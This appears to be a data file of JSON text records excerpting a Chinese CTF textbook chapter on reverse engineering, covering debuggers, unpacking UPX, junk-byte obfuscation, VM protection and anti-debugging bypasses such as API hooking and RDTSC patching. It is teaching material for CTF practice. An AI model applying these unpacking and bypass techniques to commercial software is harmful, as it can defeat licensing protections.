    {"text": "5.3.2 OllyDBG和x64DBG调试 OllyDBG和x64DBG都是调试Windows平台可执行文件的调试器。 x64DBG为后起之秀，支持32位和64位程序的调试，并且在不断开发、添加新的功能，而OllyDBG（下文简称OD）仅支持32位程序，且已经停止更新。"},
    {"text": "OD似乎并没有存在的必要了，但是由于发布时间较早，有着大量的社区贡献的用来实现脱壳、对抗反调试等高级功能的脚本和插件，使得其仍然有一定的用武之地。"},
    {"text": "x64DBG与OD的布局相同，左上区域为反汇编结果的显示区域，左下区域为浏览程序内存数据的区域，右下区域为栈数据的显示区域，右上区域为寄存器的显示区域。"},
    {"text": "2．控制程序运行 按Ctrl+G组合键，可以跳转到目标地址； 在反汇编窗口中，按F2键为切换当前地址的断点状态，按F8键为单步步过，按F7为单步步入，按F4键为运行到光标处位置，按F9键为运行。"},
    {"text": "此外，可以让程序在操作（读取/写入/执行）特定的某一小段内存时中断，其原理为使用CPU内建的硬件断点机制或使用Windows提供的异常处理机制的内存断点。"},
    {"text": "具体的操作都很简单，x64DBG在内存窗口/栈窗口中选定目标地址，然后单击右键，在弹出的快捷菜单中选择“ 断点 → 硬件断点 ”或“ 读取/写入 → 选择长度 ”，可以设置硬件读取和硬件写入断点； 在反汇编窗口中，右击目标地址，在弹出的快捷菜单中选择“ Breakpoint → Set hardware on execution ”，设置硬件执行断点。"},
    {"text": "“壳”是一种特殊的程序，对另一个程序进行变换后，利用变换的结果重新生成可执行文件。 在运行时，它全部或部分还原存储在可执行文件中的变换结果，然后恢复原程序的执行。"},
    {"text": "壳的存在主要是两方面的需求，压缩壳为了减小程序体积，加密壳则是为了加大破解者的逆向难度。 通常，加密壳需要配合压缩壳，加密壳会导致程序体积变大。 按照变换操作的不同，壳的种类如下： 有的壳注重对代码的压缩 ，从而生成更小的可执行文件，如UPX、ASPack等； 有的壳注重对代码的保护 ，以阻碍逆向者进行分析为目的，如VMP、ASProtect等。"},
    {"text": "动态方法： 虽然UPX本身可以脱壳，但是UPX是基于加壳后可执行文件内存储的标识来查找并操作的，由于UPX是开源的，软件保护者可以任意修改这些标识，从而导致官方标准版本的UPX脱壳失败。"},
    {"text": "可执行文件被操作系统载入后开始执行前，寄存器内会存放一些操作系统预先填充好的值，栈的数据也会被设置，壳程序要保留这些数据（状态），以免其被壳段代码不经意间地破坏，在转交控制权前壳需要恢复这些数据，才能让原来的程序正常运行。"},
    {"text": "一般情况下，由于已有栈的内容是不应更改的，简单的壳会选择将这样的信息压入栈（在栈上开辟新的空间），x86的汇编指令pushad可以轻松地将所有寄存器一次性压入栈，UPX也使用了这样的方式，被形象地称为“ 保护现场 ”。"},
    {"text": "图5-3-2 实际上，这是一个将栈空间向上清零0x80长度的循环，并不是真实的程序代码，后面紧跟一个向前的较远的跳转（从 0x43208C 跳到 0x404DDC ），这样即跳到原代码的跳转（壳程序一般与程序原来的代码在不同的区段，故相隔较远）。"},
    {"text": "在OD中选择“ 插件 → OllyDump → 脱壳正在调试的进程 ”菜单命令，在弹出的对话框中指定脱壳参数，见图5-3-6。 图5-3-6 单击“ 获取EIP作为OEP ”按钮，再单击“ 脱壳 ”按钮，保存后即可完成脱壳。"},
    {"text": "这是因为： ❖ Windows XP后的系统中带有ASLR（地址空间随机化），程序每次启动需要重定位（将地址引用修复到正确的位置）才可以正常运行，而恢复重定位信息难度较高。"},
    {"text": "❖ 从Windows Vista开始，NT内核开始引入MinWin，出现了大量的api-ms-XXXXXX的DLL，这导致了相当一部分依赖于NT内核特征的工具出现问题，如在Dump时使用OllyDump的导入表搜索会受此影响。"},
    {"text": "x64DBG解决了其中除重定位以外的问题，硬件断点可以在断点页面进行删除，对应的脱壳工具通过“ 插件 → Scylla ”菜单命令打开，见图5-3-9。"},
    {"text": "其实并不一定需要修复重定位的信息，可以通过CFF Explorer等工具修改Nt Header的“Characteristics”，勾选“ Relocation info stripped from file ”，见图5-3-10，可阻止系统对这个程序进行ASLR导致的重定位，程序即可正常运行，见图5-3-11。"},
    {"text": "图5-3-10 图5-3-11 5.3.3 GDB调试 在Linux系统，人们一般使用GDB进行调试，本节简要介绍GDB环境的配置及应用。 1．GDB环境配置 原始的GDB非常难以使用，每次执行完查看反汇编、内存、栈、寄存器等信息时，需要手动输入命令，没有图形化界面调试导致不够直观、方便。"},
    {"text": "2．打开文件 GDB打开文件的方式与图形化的工具不同，需要通过传入参数或执行命令。 方式1：在GDB的命令行后直接接可执行文件，形如“gdb./2-simpleCrackme”（适用于不需参数的程序）。 方式2：使用GDB的--args参数执行，形如“gdb--args./ping-c 10 127.0.0.1”。 方式3：打开GDB后，使用file命令指定可执行文件。 3．调试程序 GDB的调试方式也与图形化的工具不同，完全由命令控制，而不是快捷键。"},
    {"text": "（2）查看内存、表达式等 ❖ x/dddFFF：ddd代表长度，FFF代表格式，如“x/10gx”，具体格式列表可以查看http://visualgdb.com/gdbreference/commands/x。"},
    {"text": "注意， GDB不会在入口点处暂停程序 ，故用户需要在程序执行前设置好自己的断点。 此外，GDB不像OD和x64DBG一样自动保存用户的断点数据，需要用户每次重新设置断点。"},
    {"text": "4．IDA整合 Pwndbg提供了IDA的整合脚本，只需在IDA中运行Pwndbg目录的ida_script.py，然后IDA会监听http://127.0.0.1:31337，本机Pwndbg链接到IDA上，并使用IDA的各种功能。 考虑到很多人在Windows上使用IDA同时在Linux虚拟机上使用Pwndbg，所以要修改脚本，把脚本中的127.0.0.1改为0.0.0.0来允许虚拟机连接。"},
    {"text": "在程序中断时，Pwndbg会自动显示当前的反汇编、寄存器值、栈内容等程序状态，开启IDA集成时会显示对应的反编译的伪代码，在IDA中高亮并定位到对应地址，见图5-3-13。"},
    {"text": "IDA从很早开始就内建了调试器，并且巧妙地利用前后端分离的模块化设计，可以使用WinDbg、GDB、QEMU、Bochs等已有的调试工具，而IDA本身也有专用的远程调试后端。"},
    {"text": "图5-3-13 图5-3-14 随着发展，HexRays也加入了调试功能，可以对反编译的伪代码进行调试，并查看变量，获得如源代码调试般的体验。"},
    {"text": "Linux下的程序则需要使用远程的调试器，见图5-3-15和图5-3-16所示。 图5-3-15 图5-3-16 下面分别介绍调试器的使用方法和远程调试的方法。"},
    {"text": "<3> 被调试文件默认的路径为输入文件的路径，若目标文件不存在，或因其他原因加载失败，IDA均会弹出警告对话框，确认后会进入Debug application setup设置的对话框，见图5-3-17。 （如有需要，也可以利用“ Debugger → Process options ”菜单命令进入。"},
    {"text": "伪代码窗口中行号左侧有蓝色的圆点，这些圆点与反汇编窗口左侧蓝色的小点功能一样，都是用来切换断点的状态的。 单击这些蓝色圆点，伪代码的对应行将类似反汇编窗口中的断点，变为红色底色。 通过debugme，在main函数上设置断点，见图5-3-18，然后运行程序，进行伪代码调试。 运行后，程序自动中断，并自动打开伪代码窗口。 若没有打开伪代码窗口，单击菜单栏的 按钮，即可切换到伪代码窗口。"},
    {"text": "① 在Locals窗口的Location栏中可以看到v5的位置为 RDI ，在寄存器窗口可以看到RDI的值，单击其值右侧的按钮，即可在反汇编窗口中跳转到对应的位置，见图5-3-25。"},
    {"text": "② 修改v5的类型，从_BYTE*修改为 char* ，此时HexRays会认为v5是一个字符串，从而将其在Locals显示出来。 具体操作为：在伪代码窗口中按Y键，修改v5类型为char*并确认，然后在Locals窗口中右键单击Refresh刷新，结果见图5-3-28。"},
    {"text": "注意 ，IDA中的变量与C语言中变量的行为并不完全一致，IDA中的变量有特殊的生命周期，尤其是寄存器中的变量，在超出一定范围后，其值会被覆盖成其他变量的值，这是无法避免的。"},
    {"text": "图5-3-29 图5-3-30 接下来的所有流程与本地调试基本一致，IDA在加载文件时会弹出提示框（见图5-3-31），等待用户确认访问远程文件，单击“Yes”按钮。"},
    {"text": "图5-3-32 图5-3-33 注意 ，通过远程调试运行的程序与服务器程序共用一个控制台，直接在服务器端输入即可与被调试程序交互。 Windows的远程调试服务器使用方法类似，在此不再赘述，请读者自行操作。"},
    {"text": "5.4 常见算法识别 在CTF的逆向工程题目中，某些成熟的算法出现频率非常高，如果能识别出这些算法，必然能够大大提高进行逆向工程的效率。"},
    {"text": "5.4.1 特征值识别 很多常见算法，如AES、DES等，在运算过程中会使用一些常量，而为了提高运算的效率， 这些常量往往被硬编码在程序中 。"},
    {"text": "表5-4-1 通过这种简单的识别法，许多开发者为各种分析工具开发了常量查找插件，如IDA的FindCrypt、PEiD的KANAL等，在可执行文件的分析中非常方便。"},
    {"text": "图5-4-1 5.4.2 特征运算识别 当特征值不足以识别出算法时，我们可以深入二进制文件内部，通过分析程序 是否使用了某些特征运算 来推测程序是否使用了某些算法。"},
    {"text": "本书在前面章节中简要介绍了如何使用IDA的签名识别功能识别C语言运行库函数，实际上这个功能不仅能对C语言的运行库进行识别：每个二进制函数都可以有自己的签名，对同样由二进制机器代码构成的第三方库函数来说，IDA也可以通过对应签名库快速匹配函数名、参数等信息。 IDA中自带了很多除C语言运行库以外的常见库的签名文件，如Visual C++MFC库等。 读者可以使用前面介绍的方式加载函数签名，也可以在IDA文件菜单中选择“ Load File → FLIRT Signature file ”，出现的内容见图5-4-3和图5-4-4。 图5-4-3 图5-4-4 如果IDA没有预置需要识别的库函数签名，那么可以在网上查找相应的签名库，如 https://github.com/push0ebp/sig-database 和 https://github.com/Maktm/FLIRTDB 等，也可以自己利用IDA SDK中提供的FLAIR工具，根据已有的.a、.lib等静态库文件自己创建一份签名，放入sig文件夹，然后在IDA中加载。"},
    {"text": "如果能够确定程序编写者使用了某个已知库，并且我们能够获得一份含有符号且同样使用了该库的静态编译二进制文件，我们便可以利用二进制比对的方法来具体地确定每个库函数。"},
    {"text": "当我们准备好待逆向文件和自己编译的带符号文件后，便可以在IDA中加载BinDiff，再分别加载这两个文件的IDB，稍等片刻即可看到比对结果，见图5-4-5。"},
    {"text": "一般情况下，如果比较结果显示两个函数几乎没有改动（Similarity极高，Change没有或只有I）且它们不是空函数，那么它们有很大的可能是同一个函数；"},
    {"text": "5.5.1 抵御静态分析 无论是逆向工程中常用的IDA Pro等工具，还是如Ghidra之类的新兴工具，在载入二进制程序后，它们首先进行的工作是对程序进行反汇编：将机器码转换为汇编指令，在反汇编结果的基础上开展进一步的分析。"},
    {"text": "所谓花指令，是指在程序中完全冗余，不影响程序功能却会对逆向工程产生干扰的指令。 花指令没有固定的形式，泛指用于干扰逆向工作的无用指令。"},
    {"text": "另一种常见的干扰静态分析的方法是在正常的指令中插入一个特定的字节，并在该字节前加入向该字节后的跳转语句，以保证实际执行的指令效果不变。"},
    {"text": "对于以OllyDBG和WinDBG为代表的线性扫描反汇编工具，由于它们只是从起始地址开始一条一条地线性向下解析，我们可以简单地使用一条无条件跳转指令实现脏字节的插入。"},
    {"text": "对于前文的代码片段，我们在第一条和第二条指令之间插入一个跳转指令，并且加入0xE8字节，如下所示： 根据线性扫描反汇编算法，当反汇编器解析完jmp addr1指令后，会紧接着从下一个0xE8开始进行解析，而 0xE8 为call指令的起始字节，就会导致反汇编器认为从0xE8开始的5字节为一条call指令，从而让后续的指令全部被错误解析。 而对于以IDA Pro为代表的递归下降反汇编器，由于递归下降反汇编算法在遇到无条件跳转时，会转向跳转的目标地址递归地继续解析指令，就会导致插入的0xE8字节直接被跳过。"},
    {"text": "例如，函数调用指令call可以使用其他指令替换，如以下指令 可以替换为如下代码段： 而函数返回指令ret，也可以替换为以下代码段： 注意，该替换破坏了 ecx 寄存器，因此我们需要保证此时ecx没有正在被程序使用，在实际操作中，可以根据程序的上下文情况自由调整。"},
    {"text": "在CTF中，出题人通常选择替换涉及函数调用与返回的指令，如上述call、ret等，这样可以导致IDA Pro等工具解析出的函数地址范围与调用关系出现错误，从而干扰静态分析。"},
    {"text": "图中跳转的目标地址为402669+1，但IDA从402669开始解析了指令。 对于这种情况，只需在IDA中先将402669开始地址的内容设为数据，再将402669+1开始地址的内容设为代码，就可以正确地解析这一段内容。"},
    {"text": "图5-5-1 图5-5-2使用了指令替换，将直接向下的跳转改为一个call指令加上栈指针的移动操作，由于call指令会将下条指令的EIP压入栈中，目标地址便使用了一条add esp，4指令来实现栈平衡。"},
    {"text": "一般，待SMC的代码在IDA等工具中会被识别为数据，但会出现将该数据地址当作函数指针并进行函数调用的操作，见图5-5-3和图5-5-4。"},
    {"text": "图5-5-3 图5-5-4 这种情况也存在两种基本的解决方案： ① 静态分析SMC代码的自修改流程，自行实现该SMC过程，并将代码patch为真正执行的代码，即可继续进行静态分析；"},
    {"text": "② 使用动态分析的方法，在代码已被解密完毕的位置设置断点，然后使用调试器跟踪真正执行的代码，或者dump已经解密完毕的代码，交给IDA进行静态分析。"},
    {"text": "加密壳程序对二进制程序的加密大体上可以分为 数据加密 、 代码加密 、 算法加密 。 数据加密一般是指对程序中已有的数据进行加密的过程，一般会在合适的时机对数据进行解密（如在所有引用该数据的地方放置数据解密逻辑）； 同理，代码加密一般是指对程序代码段中的指令进行加密变换的过程，一般会等到真正需要执行目标代码时才对其进行解密（这个过程运用到了SMC技术）。 一般，加壳程序往往会将这两种加密方式与RSA等成熟密码学算法相结合，实现对软件“授权系统”及其关键数据的保护，例如，有的开发者不会选择单独编译已去除关键功能的demo版本应用程序给用户试用，而是选择使用加密壳程序对关键功能进行依赖授权密钥的加密保护，这样当用户未购买正确密钥时，他无法使用软件的关键功能、访问其关键数据。"},
    {"text": "虚拟机 （Virtual Machine，VM）保护的大范围使用最早出现在加密壳软件中，是一些加密壳的最强保护手段，其中最具代表性的是 VMProtect 。 VMProtect除了提供常规的数据加密、代码加密和其他反调试等功能，还能在汇编指令层面对程序逻辑进行虚拟化，将开发者指定的代码段中所有的汇编指令转变为自行编写的一套指令集中的指令，并在实际执行时由自行编写的虚拟机执行器进行模拟执行。"},
    {"text": "VMWare等虚拟机程序规模更加庞大，目的是虚拟出一整套硬件设备，从而支持操作系统等软件的运行，而虚拟机保护壳规模相对较小，目的是尽可能地对原始程序代码、算法逻辑进行混淆、模糊和隐藏。 基于虚拟机保护的加密壳发展至今，已经能达到极其复杂的加密混淆效果，要对保护过后的程序进行还原已经变得极其困难，并且将耗费大量时间。"},
    {"text": "例如，要实现一个移位密码可能需要用到加、模等运算，于是便可以设计一个包含加、模等运算指令的指令集，将校验算法用自己设计的指令集中的指令实现，再将其汇编为该指令集的机器码（俗称 虚拟字节码 ），最后将这些字节码交给编写好的虚拟CPU执行函数进行执行。 要对这类题目进行逆向，我们可以对其虚拟CPU执行函数进行逆向，还原出该虚拟架构的指令集，然后编写反汇编代码对虚拟字节码进行反汇编，最后根据反汇编的结果，分析题目真正的校验算法，获得flag。"},
    {"text": "该题本身为一个Linux下的可执行程序，通过前置逆向分析工作，可以发现它不太常规地通过signal、ptrace等机制实现了一个VM执行函数，由于其主逻辑代码较多，本节不对其进行展示。"},
    {"text": "我们需要的是根据ptrace的原理将这部分代码的逻辑理清楚，然后还原出该虚拟架构的指令集，并编写反汇编代码。 逆向完ptrace部分的逻辑后，我们在赛期内使用Python编写了如下反汇编脚本： 该脚本还原了原题中虚拟机执行函数的逻辑，从而能够解析虚拟字节码，并将其反汇编为更易阅读的形式。"},
    {"text": "运行该脚本，我们能够得到以下输出： 我们便可以直接根据反汇编的结果对程序的求解算法进行分析，但是其汇编指令较多，虽然分析的难度已经降低了不少，依旧存在些许困难。"},
    {"text": "有心的读者或许已经发现，在编写反汇编器时，这里有意将输出语句的格式转化为了类C语言的语法格式，目的是利用优化能力极强的编译器对这些汇编语句进行“反编译”。 所以，我们可以对上述反汇编结果进一步整理，最终整理为如下可供C编译器编译的格式： 选用C编译器（如MSVC）配置好优化选项，编译上述代码为可执行程序后，再使用IDA的HexRays插件对main_logic()函数进行反编译，可以得到如下伪代码（已重命名部分变量）： 此时的代码中算法逻辑已经清晰可见，编译器帮助我们完美地完成了优化工作。"},
    {"text": "该程序内置了一个字符数组，观察生成flag（solution）的算法可以发现，这个字符数组的结构应该为一个如下所示的三角形： 生成flag的算法即从该三角形顶点（第一个字符）出发，通过穷举找到达底层的具有最大和的一条路径。"},
    {"text": "注意 ，CTF中并非所有的VM类题型都需要使用这种方法进行解题，对于虚拟字节码数量较小、VM执行器逻辑较为简单的题而言，一种极其高效的方法是在调试时跟踪与记录运行的指令（俗称“ 打log ”），可以依赖的工具有IDAPython、GDB script或各类Hook框架。 这种方式不需要对VM执行器进行完整逆向，虽然不能完整地还原出验证逻辑，但能帮助我们窥探出一部分的运行逻辑，有经验的逆向选手借此甚至可以推测出完整的逻辑，从而快速完成解题。"},
    {"text": "我们知道，对一个程序进行逆向分析往往少不了动态调试的过程。 所谓反调试，是指在程序代码中运用若干种反调试技术，干扰对某个进程进行动态调试、逆向分析的手段。 反调试技术很多，有的是基于进程在调试、未被调试这两种状态下的微小差异而实现的。"},
    {"text": "例如，Windows下正在被调试的进程的Process Environment Block（PEB）中的 BeingDebugged 字段会被设置为True，由此诞生了IsDebuggerPresent()API，它能检测当前进程是否正在被调试。"},
    {"text": "有的反调试技术巧妙利用了调试器的实现原理，如普通调试器会通过对内存进行修改实现软件断点（如将某指令的起始字节设置为INT 3的字节码0xCC，随后监听EXCEPTION_BREAKPOINT异常），由此诞生了基于内存校验的断点检测方式。 有的反调试手段运用到了操作系统所提供的API特性，如在Linux系统下调用 ptrace（PTRACE_TRACEME） ，将使得当前进程处于其父进程的跟踪（调试）状态下，依据规定，此时其他调试器便无法再对当前进程进行调试。"},
    {"text": "还有许多更加复杂的反调试技术，但它们并非牢不可破，对于上述简单例子采用的反调试技术而言，我们若了解其工作原理，便可以轻松对它们进行绕过，从而降低后续逆向过程的复杂度。 下面以Windows的应用层程序为例，介绍一些常见的反调试技术及其绕过方法。"},
    {"text": "(1)IsDebuggerPresent() (2)CheckRemoteDebuggerPresent() (3)NtQueryInformationProcess() 它们各自实现检测的原理均不相同，若要绕过这些API的调试检测，最可靠且高效的方式是Hook相应的API。 例如，对于CheckDebug1而言， IsDebuggerPresent 实际直接返回PEB中的BeingDebugged字段的值，我们可以编写Hook函数，强制该API永远返回False； 对于CheckDebug3而言，我们同样可以编写Hook函数，对 NtQueryInformationProcess 进行Hook，并在第二个参数为0x7时强行对第三个参数清零并返回。"},
    {"text": "目前，业界已经有许多非常优秀的工具能帮助我们自动Hook该类API，并自动绕过相当一部分的反调试，如一款强有力的用户态反反调试工具 ScyllaHide （ https://github.com/x64dbg/ScyllaHide ），能作为OllyDbg、x64dbg、IDA等常用工具的插件运行，也支持独立运行。"},
    {"text": "2．断点检测 一般来说，在调试过程中常用到的两种类型为软件断点和硬件断点。 软件断点往往通过修改内存而实现（注意 有别于内存断点 ），对内存是否被修改进行检测，便可以探测该类断点的存在。"},
    {"text": "例如，对一个经典的MFC CrackMe程序进行断点检测保护，该程序的验证逻辑在OnBnClickedButton1函数中，那么我们可以这样做： 这段代码将检测设置在OnBnClickedButton1函数前200字节范围内的软件断点以及设置在MessageBoxW（弹出正确与否的信息框）、GetWindowTextW（获取用户输入）两个API起始处的软件断点，并在检测到断点后调用TerminateProcess退出程序。"},
    {"text": "代码中使用了自行编写的MyGetProcAddress，实际上它就是该函数低版本的实现，因为该函数高版本实现中考虑到了兼容问题，其返回的地址便已不再是我们在调试器中看到的真实API入口点（详细原因读者可以自行查阅）。"},
    {"text": "对于x86架构，硬件断点是通过设置调试寄存器（Debug Registers，包括 DR0～DR7 ）来实现的。 当我们需要使用硬件断点时，需要将断点的地址设置到 DR0～DR3 中（因此最多仅支持4个硬件断点），并将一些控制属性设置到DR7中，基于这个原理可以编写检测硬件断点的代码： 编译该代码，用x64dbg调试main函数并在检测前下一个硬件断点，可以看到程序成功检测到了该硬件断点的存在，见图5-5-5。 这种检测方式同样调用了操作系统提供的API GetThreadContext，因此我们依旧可以采取Hook的方式来绕过此类检测，前面提到的ScyllaHide工具便基于类似原理，提供了DRx Protection选项来反硬件断点探测。"},
    {"text": "CPU会对每个时钟周期计数，然后保存到TSC，RDTSC指令便是用来将TSC的值读入EDX：EAX寄存器中的，因此RDTSC指令可以被用来进行时间探测。"},
    {"text": "一般，实现这种反调试我们只需探测TSC的低32位的变化量即可（即EAX的变化量），在没有检测变化量下界的情况下，我们可以直接将程序中所有相关RDTSC（0F 31）指令替换成XOR EAX，EAX（33 C0）指令，绕过这种检测， 图5-5-5 4．基于异常的反调试 在Windows系统中，若某进程正在被另一进程调试，则其运行过程中产生的异常将首先由其调试器进行处理，否则会直接由进程中注册的 SEH（Structured Exception Handling） 处理函数进行处理。"},
    {"text": "所以，我们可以编写代码，主动抛出一个异常（如执行一条非法指令或者访问一段非法内存等），随后在我们注册的SEH处理函数中对该异常进行接管，接着处理该异常，也可以针对性地进行一些反调试的操作。 其中，SEH处理函数（回调函数）的形式如下： 其中，参数 ContextRecord 是我们需要关注的内容，里面包括了许多有用的信息，包括产生异常时的线程上下文状态中的所有信息（如通用寄存器、段选择子、IP寄存器等），我们可以通过这些信息方便地控制异常处理的进行。 例如，如果需要在异常发生的时候将EIP的值增加1后继续执行，那么可以使用如下回调函数： 该函数在返回的时候返回了 ExceptionContinueExecution ，告诉操作系统恢复产生异常线程的执行； 此外，当回调函数无法处理相应异常时，需要返回ExceptionContinueSearch，以告诉操作系统继续寻找下一个回调函数，如果没有下一个回调函数可以接管该异常，那么操作系统会根据相应的注册表项，决定是终止应用程序还是调用某调试器对其进行附加调试。"},
    {"text": "我们该如何注册SEH回调函数呢？ 从原理上看，我们只需将待注册函数加入SEH链中即可，SEH链中的项均是如下结构体： 其中，Next为指向链中下一个项的指针，Handler为对应的回调函数指针。"},
    {"text": "在32位汇编代码中，我们往往会看到如下操作，其作用是在栈上构造一个 EXCEPTION_REGISTRATION_RECORD 结构体： 在这两条指令后，栈上便会有一个8字节的EXCEPTION_REGISTRATION_RECORD结构体，随后往往会有一条像下面的指令将刚才构造好的结构体链接到当前的SEH链上： 这个操作使得线程信息块（即TIB，位于线程环境块TEB的起始位置）中的ExceptionList项指向新的EXCEPTION_REGISTRATION_RECORD结构（即新的SEH链的头部），当前线程的TEB可通过FS寄存器来访问，它的线性地址存放在 FS：[0x18] 中。"},
    {"text": "其中，TEB与TIB的部分定义如下所示： 对于利用异常机制编写的反调试手段，我们一般需要对所使用的调试器进行配置，使之忽略程序产生的一些特定异常，这样该异常就会依然由程序本身进行处理。"},
    {"text": "此外，在CTF中或实际逆向工作中，我们可能遇到更复杂的基于异常的反调试手段，如在0CTF/TCTF 2020 Quals中有一道逆向题“J”，其关键处理逻辑中，所有的条件跳转指令均被处理成了INT 3，随后在程序自己注册的异常处理函数中，程序根据RFLAGS的状态和异常发生的地址模拟实现了这些条件跳转指令的执行，从而实现反调试以及混淆的目的。"},
    {"text": "对于动态调试而言，以x64dbg为例，可以在“ 顶部菜单 → 选项 → 选项 → 事件 ”中勾选“ TLS回调函数 ”项，再调试程序，调试器便会在该程序的TLS回调函数被调用前暂停，方便跟踪和分析。"},
    {"text": "例如，x64dbg可以检测当前系统运行程序的可见窗口中有无包含“x64dbg”的窗口或进程列表中有无名为“x64dbg.exe”的进程等，这种检测方式依赖对诸如EnumWindows等API的调用，并且强度很低、易被发现，因此容易被绕过。"},
    {"text": "此外存在一些利用特定调试器特性的检测方式，例如： ① OllyDbg的早期版本对OutputDebugStringA发送的字符串进行操作时存在一个格式化字符串的漏洞，利用该漏洞可以直接让调试器崩溃。 ② OllyDbg的早期版本对硬件断点的处理逻辑存在问题，导致程序主动设置的DRx在某些情况下会被重设，因此我们可以探测OllyDbg。"},
    {"text": "③ WinDbg会对其启动的调试进程设置若干特有的环境变量，如WINDBG_DIR、SRCSRV_SHOW_TF_PROMPT等，探测这些环境变量是否存在可以实现对WinDbg的检测。"},
    {"text": "还有许多角度异常刁钻却又有趣的检测手段，在CTF中，我们遇到可疑的类似手段，要学会积极运用搜索引擎进行检索，并掌握它们的绕过方法。"},
    {"text": "7．架构切换 64位Windows操作系统依旧可以运行32位的应用程序，实际上，此时32位的程序是运行在Windows提供的一个兼容层 WoW64 上，而架构的切换对于运行在WoW64环境下的程序是必不可少的。 运行在64位Windows系统下的32位程序在进入系统调用前均需要完成架构的切换，这是通过wow64cpu.dll中一个俗称Heaven's Gate的部分来完成的。"},
    {"text": "严格来说，这种方式并不能被称为反调试技巧，但Windows下大部分的用户态调试器均无法对架构切换后的代码进行跟踪，因此我们推荐使用 WinDbg（x64） 进行动态调试，在retf等指令处设置断点，待断点被触发后step-in，调试器便会自动切换到另一架构模式，此后调试器的寄存器、栈、地址空间等都会自动适配到64位的模式。"},
    {"text": "本节仅列举了Windows应用层的几个常见的简易反调试技术，实际上，针对不同特权等级、不同操作系统，还有大量各式各样的反调试技术，当我们在CTF或实际工作中遇到它们时，切忌手忙脚乱，静下心来，将其中的原理研究透彻，并在日后积极总结，方可在下一次处理同类问题时达到庖丁解牛的境界。"},
    {"text": "5.5.4 浅谈ollvm OLLVM（Obfuscator-LLVM） 是基于LLVM（Low Level Virtual Machine）实现的一个控制流平坦化混淆工具，来自2010年的论文 Obfuscating C++Programs via Control Flow Flattening ，其主要思想是将程序的基本块之间的控制关系打乱，而交由统一的分发器进行管理。"},
    {"text": "可以看出，控制流平坦化的特征非常明显，整个程序的执行流程通过一个主分发器来控制，每个基本块结束后会根据当前的状态更新state变量，从而决定下一个待执行的基本块。"},
    {"text": "要解决控制流平坦化混淆也非常简单，只需提取关键的state变量，并根据分发器的分发规则进行跟踪，即可还原出原始程序的控制流，详细的实现读者可以参考 deflat.py （ https://security.tencent.com/index.php/blog/msg/112 ）和 HexRaysDeob （ https://www.hex-rays.com/blog/hex-rays-microcode-api-vs-obfuscating-compiler/ ）开源工具。 这些通用的开源解混淆工具能解决的只是一部分标准的控制流平坦化混淆，然而原版的OLLVM在2017年便已停止了维护，现有的修改版OLLVM大多都是由个人维护的，并且一般会增加一些新的功能，或者用新的实现方法来替代原版，比如： ① 增加假的state变量，或者将基本块之间的控制流关系存储在其他地方，干扰脚本的分析；"},
    {"text": "较好的方法是对一些关键数据（如输入的flag）内存读取/写入设置断点，进而定位到程序中对关键数据进行操作的逻辑，或者使用trace类的工具提取出程序真实执行过的基本块，再着重分析这些基本块的逻辑即可。"},
    {"text": "该程序用IDA载入后（见图5-6-1），左窗格中有一些奇怪的函数名，右窗格中有形如std::rt::lang_start_internal：：这样的字符串，可以猜测这也许是由某种高级语言编写的程序。"},
    {"text": "互联网检索该字符串，得到一些与Rust语言有关的信息，进而可以推断这是个Rust程序。 当然，这是在有符号情况下的分析，在无符号情况下，可以在IDA中搜索诸如main.rs的Rust字符串，也能推断程序是否为Rust程序。"},
    {"text": "按照一般的分析经验，我们往往会分析 std__rt__lang_start_internal函数 ，然而与常规题目不同，std__rt__lang_start_internal是Rust的初始化函数，其功能如同start函数，而在call std__rt__lang_start_internal上方可以发现 beginer_reverse__main函数 ，因此在Rust中，主函数是被当作初始化函数参数，在程序初始化完成后加载执行的，这也是Rust程序的一个特点。"},
    {"text": "这里需要手工修正一些识别的错误，如read_line()函数没有传参，其返回值也没有赋值操作，这显然是不可能的。 修正的方法很多，如采取动态调试，在read_line()处下断点，观察堆栈的情况，或者分析read_line()函数内部来判断该函数会有几个参数，也可以查询资料来修正。"},
    {"text": "至此，Go的主函数定位完成，之后便可开始对主函数进行分析了。 图5-6-4 图5-6-5 图5-6-6 图5-6-7 图5-6-8 注意 ，以runtime_、fmt_等前缀是go程序包名的函数，可以从函数名上去理解其作用，而以main_为前缀的函数，基本上是程序编写者自己编写的函数，是需要去细致分析的，后续的分析可以采用正常的分析方法，在前文均已叙述。"},
    {"text": "总而言之，无论是Rust还是Golang，这类无虚拟机的高级语言程序都可以被当作抽象层次较高、包含一些额外操作的C程序来对待，面对一个这样的程序，往往应当先寻找其特征，如字符串、函数名、符号变量、魔数等，从而判断其所属语言，这样才能知道应该采取何种修正方法，修正完后，则可将其当作C程序来分析了。"},
    {"text": "5.6.2 C＃和Python C＃、Python是基于虚拟机的高级语言，其可执行程序或文件中包含的字节码，并不是传统汇编指令的机器码，而是其本身虚拟机指令的字节码，所以这类程序或文件不宜使用IDA分析，应借助其它分析工具。"},
    {"text": "C＃的逆向分析工具有.NET Reflector、ILSpy/dnSpy、Telerik JustDecompile、JetBrains dotPeek等，分析C＃程序，只需用这些工具打开即可得到源码。"},
    {"text": "PYC文件是PY文件编译后生成的字节码文件，对于一些没有混淆过的PYC文件，利用Python的 uncompyle2 可将其还原成PY文件，而对于混淆过的PYC文件，若无法去混淆，则只能分析其虚拟机指令。 这里以Python 2.7为例，在对其虚拟机指令进行分析前，需要先了解的是Python的PyCodeObject对象，其定义节选如下： 说明如下。"},
    {"text": "❖ co_nlocals：Code Block中局部变量个数，包括其位置参数个数。 ❖ co_stacksize：执行该段Code Block需要的栈空间。 ❖ co_code：Code Block编译得到的字节码指令序列，以PyStringObject的形式存在。 ❖ co_consts：PyTupleObject，保存Code Block中的所有常量。 ❖ co_names：PyTupleObject，保存Code Block中的所有符号。 ❖ co_varnames：Code Block中的局部变量名集合。"},
    {"text": "在Python中执行以下命令，将读取的二进制数据反序列化成PyCodeObject： 这里，code是PYC文件的PyCodeObject，由于PYC的混淆往往出现在PyCodeObject的co_code字段中，便需要对co_code字段的数据进行提取并去混淆。"},
    {"text": "5.6.3 C++MFC MFC是微软开发的一套C++类库，用来支撑Windows下部分GUI程序的运行。 MFC包装了Windows GUI烦琐的消息循环、消息处理流程，将消息用C++的类封装，然后分发到绑定的对象上，方便开发人员快速编写程序。"},
    {"text": "MFC内部的消息映射表存储的结构为AFX_MSGMAP和AFX_MSGMAP_ENTRY，其结构如下： 只要找到MessageMap，就可以找到所有的消息处理函数，待找到消息处理函数后，即可使用一般的逆向分析技巧进行分析。"},
